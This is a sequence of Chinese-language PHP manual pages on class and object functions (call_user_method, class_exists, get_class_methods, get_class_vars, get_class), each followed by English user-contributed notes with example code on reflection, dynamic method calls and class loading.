
?>

Nice 'n simple.  It seems that what the original poster wanted was something like C++ static data members; unfortunately as PHP4 has no static variables at all, there would need to be significant language change to support static-like behavior.  If you move to PHP5, the static keyword solves your problem cleanly.
covertka at muohio dot edu
03-Jan-2005 09:27
To pillepop2003 at yahoo dot de:

I have the same issue.  I have a base class that manages database tasks for a number of child classes.  One of the functions in the base class is a find() method that returns instances of the child classes.  Since find() is usually called as a static method, it needs to know the name of the child class.  As you've found, this appears to be impossible to get in an easy fashion.

The only way I've found to get the child class name is to use the debug_traceback() function.  This requires me to have a find() method in every child class, but it does work.

Here's an example:

<?php
  require_once("Application.php");

  class parentClass {
   function find() {
     $className = NULL;
     foreach (debug_backtrace() as $bt) {
       if ($bt['function'] == __FUNCTION__) {
         $className = $bt['class'];
       }
     }

     // here should be some code to find the proper id, let's assume it was id 1
     $id = 1;
     return new $className($id);
   }
  }

  class foo extends parentClass {
   function __construct($id) {
     $this->id = id;
   }

   function find() {
     return parent::find();
   }
  }

  class bar extends parentClass {
   function __construct($id) {
     $this->id = id;
   }

   function find() {
     return parent::find();
   }
  }

  $a = foo::find();
  printf("Type for \$a: %s<br/>\n", get_class($a));
  $b = bar::find();
  printf("Type for \$b: %s<br/>\n", get_class($b));
?>
iparanoid at gmx dot de
05-Aug-2004 02:17
To pillepop2003 at yahoo dot de:

It seems to me if there really is no nice way to get the class name in an un-instanciated class, there is a workaround in PHP5 though using static/class variables.

Example:

<?php

class myFoo
{
   static $__ClassName = __CLASS__;

   static function getClassName()
   {
       return myFoo::$__ClassName;
   }
};

class myFooExtended extends myFoo
{
   function __construct()
   {
       myFooExtended::$__ClassName = __CLASS__;
   };
};

?>

However, you'll need to have at least instanciated an object of the class myFooExtended before calling getClassName or introduce some other initialization (the class variable will need to be set at some point to __CLASS__ in the sub-class).
greg at doutromundo dot com
06-Jul-2004 10:58
As programmers, you're probably more organized than me, but, I do try and maintain some order in my classes and codes and separate them in "packages" as in java.
This helped me keep them organized but caused havok when trying to use them, so what I did was to create a class that handles the loading of classes (which I instanciate in all pages) along with my error handling class all bundled up. This way, I can load my classes with a command similar to
$baseClass->loadClass("package","className"[,"constructor"]);

the function responsible for this has some checking to see if they are loaded and stuff like that...

function loadClass($packageName,$className,$constructor=""){
  // if you dont have a constructor declare any function inside
  // the class
  if ($constructor==""){
   $constructor=$className;
  }
  if(!is_callable(array($className,$constructor))){
   if (defined("CLASS_DIR")){
     $pkg = CLASS_DIR.$packageName."/";
       if (is_dir($pkg)){
         // we have a directory with the package name
         $cls = $pkg.$className.".class.php";
         if(is_file($cls)){
           // we have a file
           include_once($cls);
         }else{
           die("Class <b>$className</b> could not be found in package <b>$packageName</b> , please check your instalation");
         }
       }else{
         die("Package <b>$packageName</b> could not be found, please check your instalation");
       }
     }
   }
}

Just remember to define CLASS_DIR as the physical path for the directories where you packages are...

Hope this comes in handy...

Here's an example of a diretory strucutre...
/var/www/classes/  <- this would be CLASS_DIR
in there I have:
package1/
     name.class.php
     name2.class.php
....

The loadClass would look like: loadClass("package1","name");

Cute and easy
ettinger at consultant dot com
19-Jun-2004 07:59
Re: Looking for an uninstantiated class

# Loads data from a table into a class object
class LFPDataFactory extends LFPObject {
       var $object;
       var $class;
       var $table;
       function LFPDataFactory($args) {
               $this->unpackArgs($args); // assigns locals from $args
               if (in_array(strtolower($this->class), get_declared_classes())) {
                       $this->object = new $this->class;
                       // assemble the columns in the table...
                       // select their values and put them in our new object...
               } else { trigger_error("Class ".$this->class." not found", E_USER_ERROR); }
       }
}
$r = new LFPDataFactory("class=LFPLayout,table=layout");
$new_obj = $r->object; // this is a LFPLayout object.
print_r($new_obj);

This class looks to see if the class exists, then instantiates it -- a declared class is not the same as an instantiated class. As long as LFPLayout exists somewhere in the scripts, get_declared_classes() will find it. Remember strtolower on compare, however.

Why would I do this? Because I have my class layouts the same as their respective tables; the factory then selects the data (making sure that the variables match) and plugs in the data. (I've left out the actual code to do the selection/insertion).
brett_hegr xATx yahoo xDOTx com
10-Jun-2004 08:46
// Useful function for determining if an object is either an
// instance or a subclass of a particular class.
function is_class($object,$class_name)
{
  $parent = is_a($object, $class_name);
  $child = is_subclass_of($object, $class_name);
  return $parent xor $child;
}
HOC
29-May-2004 12:40
to pillepop2003

Why do u want to know the classname of an non-existant object?

The only possible explanation for this question seems to me u want to know the class before u instantiate the object. Well, this is of no use since u always instantiate a class of ur choice.

When the class is instantiated into an object u can find the class of the object by means of get_class(). This is all u need. In case of inheritance u can use get_class($this) to get the class of the instantiated object. Now u can differentiate according to which class the object belongs to.

e.g.:

<?php
class A{
   function A(){
     $class_of_this = get_class($this);
     echo 'Object is an instance of class '.$class_of_this.' which is the ';
     if(strcmp($class_of_this,'A')==0)
         echo 'parent-class';
     else if(strcmp($class_of_this,'B')==0)
         echo 'child-class';
     echo ".\n";
   }
}

class B extends A{
   function B(){
     $this->A();
   }
}

$object1 = new A();
$object2 = new B();
?>

When u run this code-snippet the output will be:

Object is an instance of class A which is the parent-class.
Object is an instance of class B which is the child-class.
mfirat at fibronline dot com
02-Apr-2004 09:18
<?php
   class calculator {
     var $c;
   function addition($a, $b) {
       $this->c = $a + $b;
       return $this->c;
   }

   function subtraction($a, $b) {
       $this->c = $a - $b;
       return $this->c;
   }

   function multiplication($a, $b) {
       $this->c = $a * $b;
       return $this->c;
   }

   function division($a, $b) {
       $this->c = $a / $b;
       return $this->c;
   }
 }

$cc = new calculator;
echo $cc->addition(20, 10)."<br>";
echo $cc->subtraction(20, 10)."<br>";
echo $cc->multiplication(20, 10)."<br>";
echo $cc->division(20, 10)."<br>";
?>
ar at 5mm de
28-Aug-2003 10:59
I missed some kind of function to dynamicly override or extend an Object:

-----------------------------------------
function &extendObj(&$obj, $code) {
   static $num = 0;

   $classname = get_class($obj);
   $newclass = $classname.$num;

   eval('class '.$newclass.' extends '.$classname.' { '.$code.' }');

   $newobj = new $newclass();

   $vars = get_class_vars($classname);
   foreach($vars AS $key=>$value) {
       $newobj->$key = &$obj->$key;
   }

   return $newobj;
}
-----------------------------------------

This creates a new class which extends the old one by the given code parameter, instanciates it and copy all vars from the old obj to the new one.

-----------------------------------------
class testA {
   var $prop = 'a';

   function funcA($val) {
       $this->prop = $val;
   }

   function value() {
       return $this->prop;
   }
}

$obj = new testA();

$newobj = &extendObj(&$obj, 'function addX() { $this->prop .= "x"; }');

$newobj->funcA('abc');
$newobj->addX();
echo $newobj->value();
-----------------------------------------

Results in 'abcx'. You can use the function multiple times and also with class variables. Be carefull, even if $newobj is just a copy of $obj, $obj->value() will return 'abcx', too, because of the & operator: $newobj->$key = &$obj->$key;
zidsu at hotmail dot com
08-Jul-2003 08:24
FYI: if you want to split your class into manageble chunks, what means different files for you, you can put you functoins into includes, and make include() have a return value. Like this:

class Some_class {
  var $value = 3;
  function add_value ($input_param) {
   return include ("path/some_file.php");
  }
}

And your included file:

$input_param += $this->value;
return $input_param;

Then your function call will be:

$instance = new Some_class ();
$instance->add_value (3);

And this will return
6
hopefully :P

Keep in mind though, that the scope in the included file will be identical to the scope the function 'add_value' has.
And if you want to return the outcome, you should also have a return statement made in your include as well.
asommer*at*as-media.com
21-Sep-2002 05:52
Something I found out just now that comes in very handy for my current project:

it is possible to have a class override itself in any method ( including the constructor ) like this:

class a {

..function ha ( ) {
....if ( $some_expr ) {
......$this = new b;
......return $this->ha ( );
....}
....return $something;
..}

}

in this case assuming that class b is already defined and also has the method ha ( )

note that the code after the statement to override itself is still executed but now applies to the new class

i did not find any information about this behaviour anywhere, so i have no clue wether this is supposed to be like this and if it might change... but it opens a few possibilities in flexible scripting!!
einhverfr at not-this-host dot hotmail dot com
15-Sep-2002 03:35
You may find it helpful in complex projects to have namespaces for your classes, and arrange these in a hierarchical manner.  A simple way to do this is to use the filesystem to order your hierarchies and then define a function like this:

function use_namespace($namespace){

require_once("namespaces/$namespace.obj.php");

}

(lack of indentation due to HTML UI for this page)
This requires that all your object libraries end in .obj.php (which I use) but you can modfy it to suit your needs.  To call it you could, for exmaple call:

use_namespace("example");
or if foo is part of example you can call:
use_namespace("example/foo");
justin at quadmyre dot com
20-Aug-2002 12:38
If you want to be able to call an instance of a class from within another class, all you need to do is store a reference to the external class as a property of the local class (can use the constructor to pass this to the class), then call the external method like this:

$this->classref->memberfunction($vars);

or if the double '->' is too freaky for you, how about:

$ref=&$this->classref;
$ref->memberfunction($vars);

This is handy if you write something like a general SQL class that you want member functions in other classes to be able to use, but want to keep namespaces separate. Hope that helps someone.

Justin

Example:

<?php

class class1 {
   function test($var) {
       $result = $var + 2;
       return $result;
   }
}

class class2{
   var $ref_to_class=''; # to be pointer to other class

   function class1(&$ref){ #constructor
       $this->ref_to_class=$ref; #save ref to other class as property of this class
   }

   function test2($var){
       $val = $this->ref_to_class->test($var); #call other class using ref
       return $val;
   }
}

$obj1=new class1;
# obj1 is instantiated.
$obj2=new class2($obj1);
# pass ref to obj1 when instantiating obj2

$var=5;
$result=obj2->test2($var);
# call method in obj2, which calls method in obj1
echo ($result);

?>
a2zofciv2 at hotmail dot com
29-Sep-2001 01:10
I spent 20 minutes or so trying to figure this out, maybe someone else has the same problem.

To access a class' function from within the class you would have to say $this->functionname(params), rather than just functionname(params) like in other programming languages.

Hope this helps
gateschris at yahoo dot com
08-Mar-2001 05:59
[Editor's note: If you are trying to do overriding, then you can just interrogate (perhaps in the method itself) about what class (get_class()) the object belongs to, or if it is a subclass of a particular root class.

You can alway refer to the parent overriden method, see the "Classes and Objects" page of the manual and comments/editor's notes therein.]

There is no function to determine if a member belongs to a base class or current class eg:

class foo {
 function foo () { }
 function a () { }
}

class bar extends foo {
 function bar () { }
 function a () { }
}

lala = new Bar();
------------------
how do we find programmatically if member a now belongs to class Bar or Foo.
add a note add a note

后退 | 起点 | 前进
ctype_xdigit | 上一级 | call_user_method_array


call_user_method_array

(PHP 4 >= 4.0.5, PHP 5)

call_user_method_array -- 调用一个用户方法，同时传递参数数组［已停用］

描述

mixed call_user_method_array ( string method_name, object obj [, array paramarr] )

警告

call_user_method_array() 函数从 PHP 4.1.0 开始已经停用，使用 call_user_func_array() 函数和 array(&$obj, "method_name") 语法代替。

从用户定义的 obj 对象中调用 method_name 所指的方法，同时使用 paramarr 中的参数。

参见：
call_user_func_array()、
call_user_func() 和
call_user_method()。

注: 此函数是在 PHP 4.0.4pl1 发行版之后加入到 CVS 代码中的

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
Classes/Objects 类／对象函数 | 上一级 | call_user_method


call_user_method

(PHP 3 >= 3.0.3, PHP 4, PHP 5)

call_user_method -- 调用特定对象的用户方法［已停用］

描述

mixed call_user_method ( string method_name, object obj [, mixed parameter [, mixed ...]] )

警告

call_user_method() 函数从 PHP 4.1.0 开始已经停用，使用 call_user_func() 函数和 array(&$obj, "method_name") 语法代替。

从用户定义的 obj 对象中调用 method_name 所指的方法。下边是用法示例，我们定义了一个类，接着创建了一个对象实例，然后使用 call_user_method() 间接调用它的 print_info 方法。

<?php
class Country {
    var $NAME;
    var $TLD;

    function Country($name, $tld) {
        $this->NAME = $name;
        $this->TLD = $tld;
    }

    function print_info($prestr="") {
        echo $prestr."Country: ".$this->NAME."\n";
        echo $prestr."Top Level Domain: ".$this->TLD."\n";
    }
}

$cntry = new Country("Peru","pe");

echo "* Calling the object method directly\n";
$cntry->print_info();

echo "\n* Calling the same method indirectly\n";
call_user_method ("print_info", $cntry, "\t");
?>

参见 call_user_func_array()、
call_user_func() 和
call_user_method_array()。

add a note add a note User Contributed Notes
jonathanMAPS_ON at NO_SPAMsharpmedia dot net
13-Mar-2001 07:06
You can also dynamically call functions through variable variables...for example:

<?php
class xyz{
   function mybar($str)
   {
     echo $str;
   }
}
$xyz = new xyz;
$foo = 'bar';

$xyz->{'my'.$foo}('dynamic call to function');
?>
paulo at emd dot com dot br
18-Sep-2000 08:12
This function is very similar to this:

$method="Print";
$object->$method($param1,$param2);

Note the extra $ after the ->
jmcastagnetto at php dot net
21-Aug-2000 08:04
You can pass a variable number of parameters to a function, use a definition like:

function mymethod ($v1, $v2, $v3="", $v4="")

and then you can pass 2, 3 or 4 parameters. This is explained in the "Functions" section of the manual.

See also the PHP4 functions: func_num_args(), func_get_arg(), and func_get_args(), and examples therein
add a note add a note

后退 | 起点 | 前进
call_user_method_array | 上一级 | class_exists


class_exists

(PHP 4, PHP 5)

class_exists -- 检查类是否已定义

描述

bool class_exists ( string class_name )

如果由 class_name 所指的类已经定义，此函数返回 TRUE，否则返回 FALSE。

参见 get_declared_classes()。

add a note add a note User Contributed Notes
Frayja
01-Jun-2006 04:42
Like someone else pointed out class_exists() is case-INsensitive.

Using in_array() which is case-sensitive, the following function is a case-sensitive version of class_exists().

<?php
function class_exists_sensitive( $classname )
{
   return ( class_exists( $classname ) && in_array( $classname, get_declared_classes() ) );
}
?>
josh at digitalfruition dot com
26-Jun-2005 02:23
Just to note, class names appear to be case INsensitive. (At least at the time of writing in PHP 4.3.9). Take the following example:

<?php

class Foo { var $myVar; }

class Foo_Bar extends Foo { var $myVar2;}

echo class_exists('Foo'); //true
echo class_exists('foo'); //true
echo class_exists('Foo_Bar'); // true
echo get_class_parent('Foo_Bar'); // foo (NOTE: NOT Foo!)

?>
andrey at php dot net
24-Oct-2004 07:43
In 5.0.0 and 5.0.1 there was no interface_exists() and in these versions class_exists() used to return TRUE for known interfaces. Starting 5.0.2 this is no more.
06-Apr-2004 08:04
Just a note that at least PHP 4.3.1 seems to crash under some situations if you call class_exists($foo) where $foo is an array (that is, the calling code is incorrect but the error recovery is far from perfect).
anonymous at somewhere dot tld
18-Jul-2003 03:20
If you have a directory of classes you want to create. (Modules in my instance)... you can do it like that

<?php
if (is_dir($this->MODULE_PATH) && $dh = opendir($this->MODULE_PATH)) {
   while (($file = readdir($dh)) !== false) {
     if (preg_match("/(Mod[a-zA-Z0-9]+).php/", $file, $matches)>0) {
         // include and create the class
         require_once($this->MODULE_PATH."/".$file);
         $modules[] = new $matches[1]();
     }
   }
} else {
   exit;
}
?>

//---
Here the rule is that all modules are on the form
ModModulename.php and that the class has the same name as the file.
The $modules array has all the classes initialized after this code
cristiano at aspatech dot com dot br
25-Jun-2002 02:36
This can be veeeery usefull if you use classes that uses other classes, which can be used in your front end. In other words, when you lost the control of which classes are declared in which point of the application, that can generate the "Cannot redeclare class". Use like

<?php
if ( !class_exists( "YourClass" ) ) {

   class YourClass {
       //your code
   }
}
?>

Thats it... Resolve all your problems =)
spamless_blair at nb dot net
09-Oct-2001 04:48
I have a script that includes various class libraries depending on what is contained in the constant _INCLUDE_LIST which is a comma-delimited string.

define('_INCLUDE_LIST', 'CORE, LIB_DATA, LIB_EMAIL');

I use class_exists() to determine if a class definition has been included before creating an instance of it.

if(class_exists('CMySQLConnection')) $oData = new CMySQLConnection;

Hope it is helpful for someone!

-Jason Garber
IonZoft.com
emurano at optushome dot com dot au
09-Mar-2001 04:35
Multiple inclusion protection can be achieved in php3 and for non class related code, for example:

<?php
if(!defined("_SOME_UNIQUE_CONSTANT_")) {
define("_SOME_UNIQUE_CONSTANT_",TRUE);

// Your protected code here

}
?>

Make sure that you use a different constant for each protected piece of code.  Generally this is used on a file per file basis. Just #ifndef in C!
add a note add a note

后退 | 起点 | 前进
call_user_method | 上一级 | get_class_methods


get_class_methods

(PHP 4, PHP 5)

get_class_methods -- 返回由类的方法名组成的数组

描述

array get_class_methods ( mixed class_name )

返回由 class_name 指定的类中定义的方法名所组成的数组。

注: 从 PHP 4.0.6 开始，可以指定对象本身来代替 class_name，例如：

$class_methods = get_class_methods($my_class); // see below the full example

例子 1. get_class_methods() 示例

<?php

class myclass {
    // constructor
    function myclass() {
        return(TRUE);
    }

    // method 1
    function myfunc1() {
        return(TRUE);
    }

    // method 2
    function myfunc2() {
        return(TRUE);
    }
}

$my_object = new myclass();

$class_methods = get_class_methods(get_class($my_object));

foreach ($class_methods as $method_name) {
    echo "$method_name\n";
}

?>

运行结果：

myclass
myfunc1
myfunc2

参见 get_class_vars() 和 get_object_vars()。

add a note add a note User Contributed Notes
BoD
15-Mar-2006 11:09
!Concerning PHP5 Only!

If you want to get all methods/functions from a class you can do this with the get_class_methods function.
<?php
   $arrMethodNames = get_class_methods ( $ClassNameOrObject);
?>
However the drawback on this function in PHP5 is that you will NOT receive protected and private methods of a class/object if you are calling the method from another class/object context.

If you want to receive all methods of a given Class in another Class you should use the PHP5 Reflection API. The following source allows to retrieve all methods from a derived class in its (abstract) Base Class.

In the example you need to call the base constructor from the derived classes constructor in order to let the base class know the name of the derived class. Use the "__CLASS__" definition for passing the classname of current class to its base class.

<?php

   // Base Class - Abstract
   abstract class A {

       // Array of ReflectionMethod Objects
       // is being set upon instanciation
       // derived Classes don't need to know about this array
       private $arrMethods;

       // Constructor which MUST be called from derived Class Constructor
       protected function __construct ( $strDerivedClassName ) {
           $oRefl = new ReflectionClass ( $strDerivedClassName );
           if ( is_object($oRefl) ) {
               $this->arrMethods = $oRefl->getMethods();
           }
       }

       // Some abstract function
       abstract protected function D ();

       // Some private function
       private function E() {
       }

       // method to print all class/object methods
       // must be callable from derived classes
       // can be protected if only for internal class use
       public function PrintAllMethods () {
           foreach ( $this->arrMethods as $curReflectionMethod ) {
               echo $curReflectionMethod->getName()."<br>";
           }
       }
   }

   // Derived Class
   class B extends A {

       // Constructor for this class
       // MUST call Base Constructor
       public function __construct () {
           // Call Base Constructor
           parent::__construct(__CLASS__);
       }

       // Some public function
       public function A () {
       }

       // some protected function
       protected function B () {
       }

       // some private function
       private function C() {
       }

       // some abstract method from base class implemented
       protected function D () {
       }
   }

   // Create new B Object
   $b = new B();
   // Print all Methods of this Object/Class
   $b->PrintAllMethods();
?>

In this example output will be:

__construct
A
B
C
D
E
PrintAllMethods

As you can see these are all methods from class B and also all methods from Class A respectivly in order of their declaration. Note that only one method "__construct" and only one method "D" are being shown. This is due to overloading (__construct) and implementing (D) in PHP.

In this example any further method-handling methods should be implemented in the base class as these will be available in derived classes as well. Just make sure that you use the right access specifiers for these additional methods ( private, protected, public )

BoD
jazepstein at greenash dot net dot au
16-Oct-2005 09:37
In PHP4, this function converts its return values to lowercase; but in PHP5, it leaves the return values in their original case. This can cause serious problems when trying to write code that dynamically calls a class method, and that works in both PHP4 and PHP5. This code snippet shows one way of achieving compatibility with both versions:

<?php
// Example variables - these would be dynamic in a real application.
$className = 'SomeClass';
$methodName= 'someMethod';
$args = array('arg1', 'arg2');

// Use array_map() and strtolower() to make all values returned by get_class_methods() lowercase. PHP4 does this anyway - now it will happen regardless of the PHP version being used.
$classMethods = array_map(strtolower, get_class_methods($className));

// in_array() can only handle being given an array.
if (!$classMethods) {
  $classMethods = array();
}

if (in_array(strtolower($methodName), $classMethods)) {
  // call some method
  return call_user_func_array(array($className, $methodName), $args);
}
?>
Bill Kuker
20-Jul-2005 10:26
Contrary to a note below this method seems to exclude private and protected functions.
Oli Filth
11-Apr-2005 11:21
As an extension to onesimus's code below for finding inherited methods, in PHP 5 you can use the Reflection API to find which of these are overriden.

e.g.

<?php
function get_overriden_methods($class)
{
   $rClass = new ReflectionClass($class);
   $array = NULL;

   foreach ($rClass->getMethods() as $rMethod)
   {
       try
       {
           // attempt to find method in parent class
           new ReflectionMethod($rClass->getParentClass()->getName(),
                               $rMethod->getName());
           // check whether method is explicitly defined in this class
           if ($rMethod->getDeclaringClass()->getName()
               == $rClass->getName())
           {
               // if so, then it is overriden, so add to array
               $array[] .=  $rMethod->getName();
           }
       }
       catch (exception $e)
       {    /* was not in parent class! */    }
   }

   return $array;
}
?>
kabatak
20-Feb-2005 09:11
In PHP4, if you need to get_class_methods in their original case. You can use this simple function I created.

// Note: this function assumes that you only have 1 class in 1 file

$file = "path/to/myclass.php"

function file_get_class_methods ($file)
{
   $arr = file($file);
   foreach ($arr as $line)
   {
       if (ereg ('function ([_A-Za-z0-9]+)', $line, $regs))
           $arr_methods[] = $regs[1];
   }
   return $arr_methods;
}
r0bin at r0bin dot net
18-Feb-2005 10:21
You cant get the Methods of COM components. So trying to get the methods from an instance of PHP's COM class will fail.
epowell at removethis dot visi dot com
11-Oct-2004 11:47
I've figured out how to get around my issue described below, using the Reflection API.

<?
/* Pass the name of the class, not a declared handler */
function get_public_methods($className) {
   /* Init the return array */
   $returnArray = array();

   /* Iterate through each method in the class */
   foreach (get_class_methods($className) as $method) {

       /* Get a reflection object for the class method */
       $reflect = new ReflectionMethod($className, $method);

       /* For private, use isPrivate().  For protected, use isProtected() */
       /* See the Reflection API documentation for more definitions */
       if($reflect->isPublic()) {
           /* The method is one we're looking for, push it onto the return array */
           array_push($returnArray,$method);
       }
   }

   /* return the array to the caller */
   return $returnArray;
}
?>
onesimus at cox dot net
19-Jun-2004 05:32
This function will return only the methods for the object you indicate. It will strip out the inherited methods.

function get_this_class_methods($class){
   $array1 = get_class_methods($class);
   if($parent_class = get_parent_class($class)){
       $array2 = get_class_methods($parent_class);
       $array3 = array_diff($array1, $array2);
   }else{
       $array3 = $array1;
   }
   return($array3);
}
gk at proliberty dot com
02-Jun-2003 07:16
It is important to note that get_class_methods($class) returns not only methods defined by $class but also the inherited methods.

There does not appear to be any PHP function to determine which methods are inherited and which are defined explicitly by a class.
aldo at cerca dot com
22-Apr-2002 01:18
If you use "get_class_methods" to check if a Method is in a Class remember that the function return lowered name of class methods:

class classPippo
{
       function DummyFunct()
       {
               // Do nothing...
       }
}

$aClassMethods = get_class_methods(classPippo);

$sMethodName = 'DummyFunct';

// This not work...

       if (in_array($sMethodName, $aClassMethods))
       classPippo::DummyFunct();

// This work...

       if (in_array(strtolower($sMethodName), $aClassMethods))
       classPippo::DummyFunct();
matt at zevi dot net
22-Mar-2002 08:46
Win32 only:

It's probably worth noting here that you can't get the methods of an object created by the built-in 'COM' class. ie - this won't work:

$word = new COM('Word.Application');
$methods = get_class_methods(get_class($word));
print_r($methods);

Matt
add a note add a note

后退 | 起点 | 前进
class_exists | 上一级 | get_class_vars


get_class_vars

(PHP 4, PHP 5)

get_class_vars -- 返回由类的默认属性组成的数组

描述

array get_class_vars ( string class_name )

返回由类的默认属性组成的关联数组，此数组的元素以 varname => value 的形式存在。

注: 在 PHP 4.2.0 之前，get_class_vars() 不会包含未初始化的类变量。

例子 1. get_class_vars() 示例

<?php

class myclass {

    var $var1; // 此变量没有默认值……
    var $var2 = "xyz";
    var $var3 = 100;

    // constructor
    function myclass() {
        return(TRUE);
    }

}

$my_class = new myclass();

$class_vars = get_class_vars(get_class($my_class));

foreach ($class_vars as $name => $value) {
    echo "$name : $value\n";
}

?>

运行结果：

// 在 PHP 4.2.0 之前
var2 : xyz
var3 : 100

// 从 PHP 4.2.0 开始
var1 :
var2 : xyz
var3 : 100

参见 get_class_methods()、 get_object_vars()

add a note add a note User Contributed Notes
gizmobits at hotmail dot com
04-Mar-2006 11:48
I wanted a simple ToString() function that was automatic and class independent.  I wanted to dump it into any of several classes and get values quickly.  I wanted to leave it there so I could customize it for each class, so an outside function wasn't suitable.  I came up with this and thought it might be useful.  Have fun!

<?php
  function ToString () {
   $s = "";
   $s .= "<table>\n";
   $s .= "<tr><td colspan=2><hr></td></tr>\n";
   foreach (get_class_vars(get_class($this)) as $name => $value) {
     $s .= "<tr><td>$name:</td><td>" . $this->$name . "</td></tr>\n";
   }
   $s .= "<tr><td colspan=2><hr></td></tr>\n";
   $s .= "</table>\n";
   return $s;
  }

?>
php dot net at sharpdreams dot com
25-Oct-2005 09:25
Contrary to multiple comments throughout the manual, get_class_vars() performed within a class can access any public, protected, and private members.

<?php
class Foo {
   public $x;
   protected $y;
   private $z;
   public function __sleep() {
     return( get_class_vars( __CLASS__ ) );
   }
}
?>

works fine (returns x, y, & z). However, given the same class as above,

<?php
print_r( get_class_vars( "Foo" ) );
?>

will NOT return x, y, & z. Instead it will only return the public members (in our case, z).
alan_k at php dot net
22-Jan-2005 11:23
in PHP5 to get all the vars (including private etc.) use:

$reflection = new ReflectionClass($class);
$defaults = $reflection->getdefaultProperties();
rec at NOSPAM dot instantmassacre dot com
24-Jan-2003 08:23
If you want to retrieve the class vars from within the class itself, use $this.

<?php
class Foo {

   var $a;
   var $b;
   var $c;
   var $d;
   var $e;

   function GetClassVars()
   {
       return array_keys(get_class_vars(get_class($this))); // $this
   }

}

$Foo = new Foo;

$class_vars = $Foo->GetClassVars();

foreach ($class_vars as $cvar)
{
   echo $cvar . "<br />\n";
}
?>

Produces, after PHP 4.2.0, the following:

a
b
c
d
e
add a note add a note

后退 | 起点 | 前进
get_class_methods | 上一级 | get_class


get_class

(PHP 4, PHP 5)

get_class -- 返回对象的类名

描述

string get_class ( object obj )

返回对象实例 obj 所属类的名字。如果 obj 不是一个对象则返回 FALSE。

注: get_class() 返回用户定义的类名的小写形式。在 PHP 扩展中定义的类则返回其原有的名字。

参见 get_parent_class()、
gettype() 和
is_subclass_of()。

add a note add a note User Contributed Notes
benjaminhill at gmail dot com
28-Apr-2006 01:47
More funkyness:

class Parent {
   function displayTableName() {
     echo get_class($this);
     echo get_class();
   }
}

class Child {
   function __construct() {
     $this->displayTableName();
   }
}

Will return
- Child
- Parent

So when they say "the object isn't required in PHP5" - they don't really mean it.
brjann at NOSPAMATALLgmail dot com
17-Nov-2005 04:39
This behavior is unexpected, but good to be aware of

class parentclass {
   public function getClass(){
       echo get_class($this); //using "$this"
   }
}
class child extends parentclass {
}

$obj = new child();
$obj->getClass(); //outputs "child"

class parentclass {
   public function getClass(){
       echo get_class(); //note, no "$this"
   }
}
class child extends parentclass {
}

$obj = new child();
$obj->getClass(); //outputs "parentclass"
davidc at php dot net
14-Oct-2005 01:25
As of php5, you cannot use get_class($this); in a public static function. You would have to do something like this:

<?php

class BooBoof {
   public static function getclass()
   {
       return __CLASS__;
   }
}

$c = BooBoof::getclass();
print $c;
?>

To get the class since you cannot use
<?php
public static function getclass()
{
   return get_class($this);
}
?>

Rather simple and straightforward but that might help some people that are searching for it..
wired at evd dot ru
25-Sep-2005 05:25
There is one unexpected bahaviour (for me as least):

<?php

  class parent
  {
   ...

   public function getInstance ($id)
   {
     ...

     print get_class() . "\n" . __CLASS__;

     ...
   }
  }

  class child extends parent
  {
   ...
  }

  child::getInstance(...);
?>

This code will produce:

  parent
  parent

So I can't make "new $className(...)" in getInstance(). The only option is to do a fabric.
kunxin at creaion dot com
25-Jul-2005 08:30
I just migrated from PHP 4 to PHP 5 and noticed that in PHP 5.03 that a lot of code dependent on get_class() and its variants stop working.

It turns out that get_class() and its variants are now case-sensitive.
refrozen dot com
06-Jul-2005 06:01
philip at cornado dot com, it returns the value of the class from which it was called, rather than the instance's name... causing inheritance to result in unexpected returns
MagicalTux at FF.ST
02-Feb-2004 08:11
Note that the constant __CLASS__ is different from get_class($this) :
<?
  class test {
   function whoami() {
     echo "Hello, I'm whoami 1 !\r\n";
     echo "Value of __CLASS__ : ".__CLASS__."\r\n";
     echo "Value of get_class() : ".get_class($this)."\r\n\r\n";
   }
  }
  class test2 extends test {
   function whoami2() {
     echo "Hello, I'm whoami 2 !\r\n";
     echo "Value of __CLASS__ : ".__CLASS__."\r\n";
     echo "Value of get_class() : ".get_class($this)."\r\n\r\n";
     parent::whoami(); // call parent whoami() function
   }
  }
  $test=new test;
  $test->whoami();
  $test2=new test2;
  $test2->whoami();
  $test2->whoami2();
?>

The output is :
Hello, I'm whoami 1 !
Value of __CLASS__ : test
Value of get_class() : test

Hello, I'm whoami 1 !
Value of __CLASS__ : test
Value of get_class() : test2

Hello, I'm whoami 2 !
Value of __CLASS__ : test2
Value of get_class() : test2

Hello, I'm whoami 1 !
Value of __CLASS__ : test
Value of get_class() : test2

In fact, __CLASS__ returns the name of the class the function is in and get_class($this) returns the name of the class which was created.
Dan
30-Jan-2003 02:00
This function does return the class name in lowercase, but that does not seem to make any difference. The code below, although very sloppy, works fine in all of the following configurations.

PHP 4.2.2 on Windows NT5 with Apache 1.3.24
PHP 4.2.1 in Zend Development Environment on box above
PHP 4.2.3 on Linux RedHat 7.3 with Apache 1.3.27

class TeSt {
   var $a;
   var $b = "Fred";

   // Notice the case difference in the constructor name

   function Test() {
     $classname = get_class($this); // $classname = "test"
     $this->ra = get_class_vars($classname);
   }
}
// Next line also works with Test(), TEST(), or test()
$obj = new TeSt();
print_r($obj->ra);

Result :
   Array
   (
       [a] =>
       [b] => Fred
   )
oliver DOT pliquett @mediagear DOT de
13-Aug-2002 11:07
This function can become _VERY_ helpful if you want to return a new object of the same type. See this example:

<?php
class Foo{
   var $name;

   function Foo( $parameter ){
       $this->name = $parameter;
   }

   function whoami() {
       echo "I'm a " . get_class( $this ) ."\n";
   }

   function getNew() {
       $className = get_class( $this );

       // here it happens:
       return new $className ( "world" ) ;
   }
}
class Bar extends Foo {

   function Bar( $name ){
       $this->Foo( $name );
   }

   function welcome() {
       echo "Hello, " . $this->name .  "! \n";
   }
}

// We generate a Bar object:
$myBar = new Bar( "Oliver" );
$myBar->welcome();

//now let's instanciate a new Bar object.
//note: this method is inherited from Foo by Bar!

$baba = $myBar->getNew();

$baba->welcome();
$baba->whoami();

/* Output:
Hello, Oliver!
Hello, world!
I'm a bar
*/
?>
philip at cornado dot com
21-Jun-2002 03:15
As of PHP 4.3.0 the constant __CLASS__ exists and contains the class name.
add a note add a note

后退 | 起点 | 前进
get_class_vars | 上一级 | get_declared_classes


get_declared_classes

(PHP 4, PHP 5)

get_declared_classes -- 返回由已定义类的名字所组成的数组

描述

array get_declared_classes ( void )

返回由当前脚本中已定义类的名字组成的数组。

